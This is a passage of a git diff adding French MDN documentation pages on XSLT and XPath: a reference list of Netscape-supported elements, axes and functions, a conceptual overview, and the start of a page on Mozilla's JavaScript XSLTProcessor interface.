+</li><li> <a href="fr/XSLT/param">xsl:param</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/preserve-space">xsl:preserve-space</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/processing-instruction">xsl:processing-instruction</a> </li><li> <a href="fr/XSLT/sort">xsl:sort</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/strip-space">xsl:strip-space</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/stylesheet">xsl:stylesheet</a> <i>(partiellement supporté)</i>
+</li><li> <a href="fr/XSLT/template">xsl:template</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/text">xsl:text</a> <i>(partially supported)</i>
+</li><li> <a href="fr/XSLT/transform">xsl:transform</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/value-of">xsl:value-of</a> <i>(partiellement supporté)</i>
+</li><li> <a href="fr/XSLT/variable">xsl:variable</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/when">xsl:when</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/with-param">xsl:with-param</a> <i>(supporté)</i>
+</li></ul>
+<h4 id="Axes"> <a href="fr/XPath/Axes">Axes</a> </h4>
+<ul><li> <a href="fr/XPath/Axes/ancestor">ancestor</a> </li><li> <a href="fr/XPath/Axes/ancestor-or-self">ancestor-or-self</a> </li><li> <a href="fr/XPath/Axes/attribute">attribute</a> </li><li> <a href="fr/XPath/Axes/child">child</a> </li><li> <a href="fr/XPath/Axes/descendant">descendant</a> </li><li> <a href="fr/XPath/Axes/descendant-or-self">descendant-or-self</a> </li><li> <a href="fr/XPath/Axes/following">following</a> </li><li> <a href="fr/XPath/Axes/following-sibling">following-sibling</a> </li><li> <a href="fr/XPath/Axes/namespace">namespace</a> <i>(non supporté)</i>
+</li><li> <a href="fr/XPath/Axes/parent">parent</a> </li><li> <a href="fr/XPath/Axes/preceding">preceding</a> </li><li> <a href="fr/XPath/Axes/preceding-sibling">preceding-sibling</a> </li><li> <a href="fr/XPath/Axes/self">self</a>
+</li></ul>
+<h4 id="Fonctions"> <a href="fr/XPath/Fonctions">Fonctions</a> </h4>
+<ul><li> <a href="fr/XPath/Fonctions/boolean">boolean()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/ceiling">ceiling()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/concat">concat()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/contains">contains()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/count">count()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/current">current()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/document">document()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/element-available">element-available()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/false">false()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/floor">floor()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/format-number">format-number()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/function-available">function-available()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/generate-id">generate-id()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/id">id()</a> <i>(partiellement supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/key">key()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/lang">lang()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/last">last()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/local-name">local-name()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/name">name()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/namespace-uri">namespace-uri()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/normalize-space">normalize-space()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/not">not()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/number">number()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/position">position()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/round">round()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/starts-with">starts-with()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/string">string()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/string-length">string-length()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/substring">substring()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/substring-after">substring-after()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/substring-before">substring-before()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/sum">sum()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/system-property">system-property()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/translate">translate()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/true">true()</a> <i>(supporté)</i>
+</li><li> <a href="fr/XPath/Fonctions/unparsed-entity-url">unparsed-entity-url()</a> <i>(non supporté)</i>
+</li></ul>
+<h3 id="Autres_ressources"> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources">Autres ressources</a> </h3>
+<ul><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Livres">Livres</a> </li><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#En_ligne">En ligne</a> <ul><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Le_World_Wide_Web_Consortium">Le World Wide Web Consortium</a> </li><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Portails">Portails</a> </li><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Articles">Articles</a> </li><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Tutoriels.2FExemples">Tutoriels/Exemples</a> </li><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Mailing_Lists.2FNewsgroups">Mailing Lists/Newsgroups</a>
+</li></ul>
+</li><li> <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources#Extensions">Extensions</a>
+</li></ul>
+<h3 id="Index"> <a href="fr/Transformations_XML_avec_XSLT/Index">Index</a> </h3>
+<div class="originaldocinfo">
+<h3 id="Information_sur_le_document_original"> Information sur le document original </h3>
+<ul><li> Copyright : Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> Note : Cette article faisait partie du site DevEdge.
+</li></ul>
+</div>
+<p><br>
+<span>Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT", "es": "es/Transformando_XML_con_XSLT", "pl": "pl/Transformacje_XML_z_XSLT", "ko": "ko/Transforming_XML_with_XSLT" } ) }}
diff --git a/files/fr/web/xslt/transformations_xml_avec_xslt/la_référence_xslt_xpath_de_netscape/index.html b/files/fr/web/xslt/transformations_xml_avec_xslt/la_référence_xslt_xpath_de_netscape/index.html
new file mode 100644
index 0000000000..0e839c04d8
--- /dev/null
+++ b/files/fr/web/xslt/transformations_xml_avec_xslt/la_référence_xslt_xpath_de_netscape/index.html
@@ -0,0 +1,238 @@
+---
+title: Transformations_XML_avec_XSLT/La_référence_XSLT//XPath_de_Netscape
+slug: Web/XSLT/Transformations_XML_avec_XSLT/La_référence_XSLT_XPath_de_Netscape
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+---
+<p>
+</p><p>La liste ci-dessous, ordonnée alphabétiquement, présente les élémentes, les axes et les fonctions de la recommandation XSLT 1.0 du W3C, ainsi que les sections appropriées de la recommandation XPath. Le développement de XSLT est toujours en cours, et ce document sera mis à jours au fur et à mesure de l'extension des fonctionnalités.
+</p>
+<h3 id=".C3.89l.C3.A9ments" name=".C3.89l.C3.A9ments"> <a href="fr/XSLT/%c3%89l%c3%a9ments">Éléments</a> </h3>
+<h4 id="xsl:apply-imports" name="xsl:apply-imports"> <a href="fr/XSLT/apply-imports">xsl:apply-imports</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:apply-templates" name="xsl:apply-templates"> <a href="fr/XSLT/apply-templates">xsl:apply-templates</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:attribute" name="xsl:attribute"> <a href="fr/XSLT/attribute">xsl:attribute</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:attribute-set" name="xsl:attribute-set"> <a href="fr/XSLT/attribute-set">xsl:attribute-set</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:call-template" name="xsl:call-template"> <a href="fr/XSLT/call-template">xsl:call-template</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:choose" name="xsl:choose"> <a href="fr/XSLT/choose">xsl:choose</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:comment" name="xsl:comment"> <a href="fr/XSLT/comment">xsl:comment</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:copy" name="xsl:copy"> <a href="fr/XSLT/copy">xsl:copy</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:copy-of" name="xsl:copy-of"> <a href="fr/XSLT/copy-of">xsl:copy-of</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:decimal-format" name="xsl:decimal-format"> <a href="fr/XSLT/decimal-format">xsl:decimal-format</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:element" name="xsl:element"> <a href="fr/XSLT/element">xsl:element</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:fallback" name="xsl:fallback"> <a href="fr/XSLT/fallback">xsl:fallback</a> </h4>
+<p><i>(non supporté)</i>
+</p>
+<h4 id="xsl:for-each" name="xsl:for-each"> <a href="fr/XSLT/for-each">xsl:for-each</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:if" name="xsl:if"> <a href="fr/XSLT/if">xsl:if</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:import" name="xsl:import"> <a href="fr/XSLT/import">xsl:import</a> </h4>
+<p><i>(mostly supported)</i>
+</p>
+<h4 id="xsl:include" name="xsl:include"> <a href="fr/XSLT/include">xsl:include</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:key" name="xsl:key"> <a href="fr/XSLT/key">xsl:key</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:message" name="xsl:message"> <a href="fr/XSLT/message">xsl:message</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:namespace-alias" name="xsl:namespace-alias"> <a href="fr/XSLT/namespace-alias">xsl:namespace-alias</a> </h4>
+<p><i>(non supporté)</i>
+</p>
+<h4 id="xsl:number" name="xsl:number"> <a href="fr/XSLT/number">xsl:number</a> </h4>
+<p><i>(partiellement supporté)</i>
+</p>
+<h4 id="xsl:otherwise" name="xsl:otherwise"> <a href="fr/XSLT/otherwise">xsl:otherwise</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:output" name="xsl:output"> <a href="fr/XSLT/output">xsl:output</a> </h4>
+<p><i>(partiellement supporté)</i>
+</p>
+<h4 id="xsl:param" name="xsl:param"> <a href="fr/XSLT/param">xsl:param</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:preserve-space" name="xsl:preserve-space"> <a href="fr/XSLT/preserve-space">xsl:preserve-space</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:processing-instruction" name="xsl:processing-instruction"> <a href="fr/XSLT/processing-instruction">xsl:processing-instruction</a> </h4>
+<h4 id="xsl:sort" name="xsl:sort"> <a href="fr/XSLT/sort">xsl:sort</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:strip-space" name="xsl:strip-space"> <a href="fr/XSLT/strip-space">xsl:strip-space</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:stylesheet" name="xsl:stylesheet"> <a href="fr/XSLT/stylesheet">xsl:stylesheet</a> </h4>
+<p><i>(partiellement supporté)</i>
+</p>
+<h4 id="xsl:template" name="xsl:template"> <a href="fr/XSLT/template">xsl:template</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:text" name="xsl:text"> <a href="fr/XSLT/text">xsl:text</a> </h4>
+<p><i>(partiellement supporté)</i>
+</p>
+<h4 id="xsl:transform" name="xsl:transform"> <a href="fr/XSLT/transform">xsl:transform</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:value-of" name="xsl:value-of"> <a href="fr/XSLT/value-of">xsl:value-of</a> </h4>
+<p><i>(partiellement supporté)</i>
+</p>
+<h4 id="xsl:variable" name="xsl:variable"> <a href="fr/XSLT/variable">xsl:variable</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:when" name="xsl:when"> <a href="fr/XSLT/when">xsl:when</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="xsl:with-param" name="xsl:with-param"> <a href="fr/XSLT/with-param">xsl:with-param</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h3 id="Axes" name="Axes"> <a href="fr/XPath/Axes">Axes</a> </h3>
+<h4 id="ancestor" name="ancestor"> <a href="fr/XPath/Axes/ancestor">ancestor</a> </h4>
+<h4 id="ancestor-or-self" name="ancestor-or-self"> <a href="fr/XPath/Axes/ancestor-or-self">ancestor-or-self</a> </h4>
+<h4 id="attribute" name="attribute"> <a href="fr/XPath/Axes/attribute">attribute</a> </h4>
+<h4 id="child" name="child"> <a href="fr/XPath/Axes/child">child</a> </h4>
+<h4 id="descendant" name="descendant"> <a href="fr/XPath/Axes/descendant">descendant</a> </h4>
+<h4 id="descendant-or-self" name="descendant-or-self"> <a href="fr/XPath/Axes/descendant-or-self">descendant-or-self</a> </h4>
+<h4 id="following" name="following"> <a href="fr/XPath/Axes/following">following</a> </h4>
+<h4 id="following-sibling" name="following-sibling"> <a href="fr/XPath/Axes/following-sibling">following-sibling</a> </h4>
+<h4 id="namespace" name="namespace"> <a href="fr/XPath/Axes/namespace">namespace</a> </h4>
+<p><i>(non supporté)</i>
+</p>
+<h4 id="parent" name="parent"> <a href="fr/XPath/Axes/parent">parent</a> </h4>
+<h4 id="preceding" name="preceding"> <a href="fr/XPath/Axes/preceding">preceding</a> </h4>
+<h4 id="preceding-sibling" name="preceding-sibling"> <a href="fr/XPath/Axes/preceding-sibling">preceding-sibling</a> </h4>
+<h4 id="self" name="self"> <a href="fr/XPath/Axes/self">self</a> </h4>
+<h3 id="Fonctions" name="Fonctions"> <a href="fr/XPath/Fonctions">Fonctions</a> </h3>
+<h4 id="boolean.28.29" name="boolean.28.29"> <a href="fr/XPath/Fonctions/boolean">boolean()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="ceiling.28.29" name="ceiling.28.29"> <a href="fr/XPath/Fonctions/ceiling">ceiling()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="concat.28.29" name="concat.28.29"> <a href="fr/XPath/Fonctions/concat">concat()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="contains.28.29" name="contains.28.29"> <a href="fr/XPath/Fonctions/contains">contains()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="count.28.29" name="count.28.29"> <a href="fr/XPath/Fonctions/count">count()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="current.28.29" name="current.28.29"> <a href="fr/XPath/Fonctions/current">current()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="document.28.29" name="document.28.29"> <a href="fr/XPath/Fonctions/document">document()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="element-available.28.29" name="element-available.28.29"> <a href="fr/XPath/Fonctions/element-available">element-available()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="false.28.29" name="false.28.29"> <a href="fr/XPath/Fonctions/false">false()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="floor.28.29" name="floor.28.29"> <a href="fr/XPath/Fonctions/floor">floor()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="format-number.28.29" name="format-number.28.29"> <a href="fr/XPath/Fonctions/format-number">format-number()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="function-available.28.29" name="function-available.28.29"> <a href="fr/XPath/Fonctions/function-available">function-available()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="generate-id.28.29" name="generate-id.28.29"> <a href="fr/XPath/Fonctions/generate-id">generate-id()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="id.28.29" name="id.28.29"> <a href="fr/XPath/Fonctions/id">id()</a> </h4>
+<p><i>(partiellement supporté)</i>
+</p>
+<h4 id="key.28.29" name="key.28.29"> <a href="fr/XPath/Fonctions/key">key()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="lang.28.29" name="lang.28.29"> <a href="fr/XPath/Fonctions/lang">lang()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="last.28.29" name="last.28.29"> <a href="fr/XPath/Fonctions/last">last()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="local-name.28.29" name="local-name.28.29"> <a href="fr/XPath/Fonctions/local-name">local-name()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="name.28.29" name="name.28.29"> <a href="fr/XPath/Fonctions/name">name()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="namespace-uri.28.29" name="namespace-uri.28.29"> <a href="fr/XPath/Fonctions/namespace-uri">namespace-uri()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="normalize-space.28.29" name="normalize-space.28.29"> <a href="fr/XPath/Fonctions/normalize-space">normalize-space()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="not.28.29" name="not.28.29"> <a href="fr/XPath/Fonctions/not">not()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="number.28.29" name="number.28.29"> <a href="fr/XPath/Fonctions/number">number()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="position.28.29" name="position.28.29"> <a href="fr/XPath/Fonctions/position">position()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="round.28.29" name="round.28.29"> <a href="fr/XPath/Fonctions/round">round()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="starts-with.28.29" name="starts-with.28.29"> <a href="fr/XPath/Fonctions/starts-with">starts-with()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="string.28.29" name="string.28.29"> <a href="fr/XPath/Fonctions/string">string()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="string-length.28.29" name="string-length.28.29"> <a href="fr/XPath/Fonctions/string-length">string-length()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="substring.28.29" name="substring.28.29"> <a href="fr/XPath/Fonctions/substring">substring()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="substring-after.28.29" name="substring-after.28.29"> <a href="fr/XPath/Fonctions/substring-after">substring-after()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="substring-before.28.29" name="substring-before.28.29"> <a href="fr/XPath/Fonctions/substring-before">substring-before()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="sum.28.29" name="sum.28.29"> <a href="fr/XPath/Fonctions/sum">sum()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="system-property.28.29" name="system-property.28.29"> <a href="fr/XPath/Fonctions/system-property">system-property()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="translate.28.29" name="translate.28.29"> <a href="fr/XPath/Fonctions/translate">translate()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="true.28.29" name="true.28.29"> <a href="fr/XPath/Fonctions/true">true()</a> </h4>
+<p><i>(supporté)</i>
+</p>
+<h4 id="unparsed-entity-url.28.29" name="unparsed-entity-url.28.29"> <a href="fr/XPath/Fonctions/unparsed-entity-url">unparsed-entity-url()</a> </h4>
+<p><i>(supporté)</i>
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "pl": "pl/Transformacje_XML_z_XSLT/Dokumentacja_XSLT//XPath" } ) }}
diff --git a/files/fr/web/xslt/transformations_xml_avec_xslt/présentation/index.html b/files/fr/web/xslt/transformations_xml_avec_xslt/présentation/index.html
new file mode 100644
index 0000000000..02ff8fbc27
--- /dev/null
+++ b/files/fr/web/xslt/transformations_xml_avec_xslt/présentation/index.html
@@ -0,0 +1,77 @@
+---
+title: Présentation
+slug: Web/XSLT/Transformations_XML_avec_XSLT/Présentation
+tags:
+  - Transformations_XML_avec_XSLT
+  - XML
+  - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/An_Overview
+---
+<a href="/fr/docs/Transformations_XML_avec_XSLT">« Transformations XML avec XSLT</a>
+
+<p>L'eXtensible Stylesheet Language/Transform est un langage très puissant, et une étude approfondie de celui-ci n'est pas l'objectif de ce document, mais une présentation succincte des concepts fondamentaux vous aidera à mieux appréhender la description des capacités de Netscape qui suit.</p>
+
+<dl>
+ <dt>Une feuille de styles XSLT est un document XML.</dt>
+ <dd>Contrairement aux CSS qui ont leur propre syntaxe, une feuille de style XSLT est un document XML, qui doit se conformer à toutes les règles du langage XML. Ainsi, le principe d'une transformation est qu'un document XML est utilisé pour transformer un autre document XML.</dd>
+</dl>
+
+<dl>
+ <dt>Une feuille de styles XSLT est identifiée comme telle par un en-tête XSLT standard.</dt>
+ <dd>L'élément externe dans une feuille de styles XSLT doit être l'élément &lt;xsl:stylesheet&gt; (ou éventuellement l'élément <code>&lt;xsl:transform&gt;</code>). Cet élément inclut au moins une déclaration d'espace de nommage (<code>namespace</code>) et l'attribut de version obligatoire. On peut également inclure d'autres espaces de nommage et trois attributs optionnels.</dd>
+</dl>
+
+<dl>
+ <dt>L'espace de nommage imposé pour XSLT est <span class="nowiki">"http://www.w3.org/1999/XSL/Transform"</span>.</dt>
+ <dd>Les espaces de nommages sont une source de confusion importante dans XML. Bien qu'ils semblent souvent être des URI, ils ne se réfèrent pas à une ressource située à cette adresse. Ils sont uniquement un moyen d'attribuer un identifiant unique à un ensemble d'éléments connus. La chaîne <span class="nowiki">"http://www.w3.org/1999/XSL/Transform"</span> est une constante qui marque les éléments ainsi désignés comme appartenant à l'ensemble des balises définies par le W3C dans sa recommandation XSLT de 1999. Une autre chaîne occasionnellement utilisée dans les feuilles de styles, <span class="nowiki">"http://www.w3.org/TR/WD-xsl"</span>, indique la conformité avec un des premiers brouillons de travail (Working Draft en anglais, d'où le WD) du document du W3C. Ce dernier espace de nommage n'est pas compatible avec celui que la W3C a adopté et il n'est pas supporté par Netscape.</dd>
+ <dd>Comme saisir la chaîne <span class="nowiki">"http://www.w3.org/1999/XSL/Transform"</span> à chaque fois serait pénible et rendrait la balisage difficile à lire, il existe un mécanisme pour assigner une abréviation à un espace de nommage dans l'en-tête de la feuille de styles. Dans sa totalité, l'élément ouvrant d'une feuille de style serait :</dd>
+</dl>
+
+<pre class="eval">&lt;xsl:stylesheet xmlns:xsl="<a class="external" href="http://www.w3.org/1999/XSL/Transform" rel="freelink">http://www.w3.org/1999/XSL/Transform</a>" version="1.0"&gt;
+</pre>
+
+<dl>
+ <dd>Le pseudo attribut xmlns définit xsl comme l'abréviation du nom complet de l'espace de nommage pour ce document. Ainsi l'élément stylesheet ci-dessus est préfixé par <code>xsl:</code>. Bien que xsl soit conventionnellement utilisé, il n'est pas imposé et il est possible de choisir un autre raccourci. Les exemples de ce document utilisent tous le préfixe xsl.</dd>
+</dl>
+
+<dl>
+ <dt>Toutes les transformations XSLT sont exécutées sur les arbres, et non sur les documents.</dt>
+ <dd>Le moteur de transformation XSLT, appelé le processeur, ne fonctionne pas directement sur les documents. Avant qu'une transformation ne soit effectuée, le document XML originel et la feuille de styles doivent être analysés, afin de créer une représentation abstraite de la structure du document qui sera mise en mémoire. C'est cette représentation, appelée « arbre », qui sera traitée par le processeur. L'arbre est un type de données abstrait, un modèle conceptuel que peut être implémenté de diverses façons en fonction l'analyseur et le processeur.</dd>
+ <dd>Netscape utilise une structure d'arbre proche de celle du <a href="fr/DOM">DOM</a> du W3C, mais d'autres sont également possibles. Les seules obligations concernent la disposition des objets dans l'arbre, leurs propriétés, et leurs relations.</dd>
+ <dd>L'arbre consiste en une organisation hiérarchique de nœuds. Il peut être constitué à l'aide de sept types de nœuds : le nœud<em>root</em> (unique), des nœuds<em>élément</em>, des nœuds<em>text</em>, des nœuds<em>attribut</em>, des nœuds commentaires, des nœuds d'instructions de traitement, et des nœuds d'espaces de nommage.</dd>
+ <dd>En haut de l'arbre on trouve le nœud racine (root). Le nœud racine ne correspond à aucune partie individuelle du document XML : il représente l'ensemble du document. En dessous du nœud racine se trouvent ses enfants, qui peuvent être des éléments, des commentaires, des instructions de traitement, etc. Certains de ces enfants peuvent également avoir leurs propres enfants, et ainsi de suite sur plusieurs niveaux. Il existe des contraintes concernant le positionnement des noeuds : par exemple, les nœuds texte ne peuvent pas avoir d'enfant.</dd>
+ <dd>Le résultat du traitement par le processeur est également un arbre. Netscape utilise cet arbre pour créer le contenu dans la fenêtre du navigateur.</dd>
+</dl>
+
+<dl>
+ <dt>XSLT est un langage déclaratif de haut niveau.</dt>
+ <dd>Une feuille de styles XSLT est un ensemble de règles, appelées<em>modèles</em> (templates en anglais), qui déclare chacune qu'un nœud correspondant à ce motif spécifique doit être traité de cette façon spécifique et se retrouver à cette position spécifique dans l'arbre résultat. Les détails de l'exécution sont laissés au processeur, et comme l'ordre d'exécution des règles de la feuille de styles ne peut donc être garanti, XSLT ne supporte aucune fonctionnalité pouvant provoquer un effet de bord. En cela, il se comporte comme<em>Lisp</em> ou<em>Scheme</em>.</dd>
+</dl>
+
+<dl>
+ <dt>Les emplacements dans les arbres sont spécifiés à l'aide de XPath, une recommandation du W3C.</dt>
+ <dd>Les transformations dépendent de la capacité du processeur à identifier individuellement les nœuds dans l'arbre. Pour faciliter cela, le W3C a décidé d'utiliser un langage séparé, XPath, qui a également d'autres utilisations en dehors du contexte XSLT. Comme son nom l'indique, XPath définit un « chemin » (path en anglais) que le processeur doit suivre dans l'arbre pour parvenir au nœud voulu. Ce chemin se compose d'expressions spécifiques à XPath à évaluer, expressions qui peuvent contenir un certain nombre de conditions à remplir, une méthode pour associer des nœuds et/ou d'une indication de direction dans l'arbre. Vous trouverez une description complète des spécifications de XPath les plus communément utilisées avec XSLT dans les documents de la section<em>référence</em>.</dd>
+</dl>
+
+<dl>
+ <dt>Les conflits éventuels dans la correspondance avec les modèles sont résolus par l'utilisation d'un ensemble de règles de priorité en cascade.</dt>
+ <dd>En général, une règle modèle plus spécifique a la priorité sur une d'ordre plus général, et toutes choses égales par ailleurs, une règle apparaissant tard dans la feuille de style a la priorité sur celles qui se trouvent avant elle.</dd>
+</dl>
+
+<dl>
+ <dt>Les feuilles de styles peuvent être attachées à un document XML par l'intermédiaire d'une instruction de traitement.</dt>
+ <dd>La méthode la plus simple pour indiquer la feuille de styles XSLT à utiliser pour traiter un document XML particulier est d'inclure une instruction de traitement dans le document XML lui-même. Par exemple, si la feuille de styles se nomme inventory.xsl et se trouve dans le même répertoire que le document XML, l'instruction de traitement dans le document pourrait ressembler à :</dd>
+</dl>
+
+<pre class="eval">&lt;?xml-stylesheet type="text/xml" href="inventory.xsl"?&gt;
+</pre>
+
+<dl>
+ <dd>Cette instruction doit être placée dans le prologue du document XML.</dd>
+</dl>
+
+<p>Pour en savoir plus sur XSLT et XPath, voir la section <a href="fr/Transformations_XML_avec_XSLT/Autres_ressources">Autres ressources</a> à la fin de cet article.</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/An_Overview" } ) }}</p>
diff --git a/files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html b/files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html
new file mode 100644
index 0000000000..b92020c2f9
--- /dev/null
+++ b/files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html
@@ -0,0 +1,64 @@
+---
+title: Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL
+slug: >-
+  Web/XSLT/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL
+tags:
+  - XSLT
+translation_of: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
+---
+<p>Ce document décrit l'interface JavaScript pour le moteur de traitement XSLT (TransforMiiX) de Mozilla 1.2 et supérieur.</p>
+<h3 id="Cr.C3.A9ation_de_XSLTProcessor" name="Cr.C3.A9ation_de_XSLTProcessor">Création de XSLTProcessor</h3>
+<p>Pour commencer, nous avons besoin de créer un objet <a href="fr/XSLTProcessor">XSLTProcessor</a> :</p>
+<pre class="eval">var processor = new XSLTProcessor();
+</pre>
+<h3 id="Sp.C3.A9cification_de_la_feuille_de_style" name="Sp.C3.A9cification_de_la_feuille_de_style">Spécification de la feuille de style</h3>
